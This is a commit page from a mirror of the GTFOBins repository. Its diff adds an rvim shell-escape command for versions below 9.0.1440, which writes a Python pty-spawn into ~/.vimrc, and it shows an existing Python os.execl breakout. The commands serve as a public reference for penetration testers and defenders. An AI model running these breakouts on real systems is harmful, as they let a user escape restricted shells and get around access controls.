1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-27 06:31:12 +02:00
This commit is contained in:
vhash 2023-12-23 11:53:06 -08:00 committed by GitHub
commit 83ef773712
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,6 +1,8 @@
---
functions:
shell:
- description: This requires that `rvim` version is `< 9.0.1440`.
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- description: This requires that `rvim` is compiled with Lua support.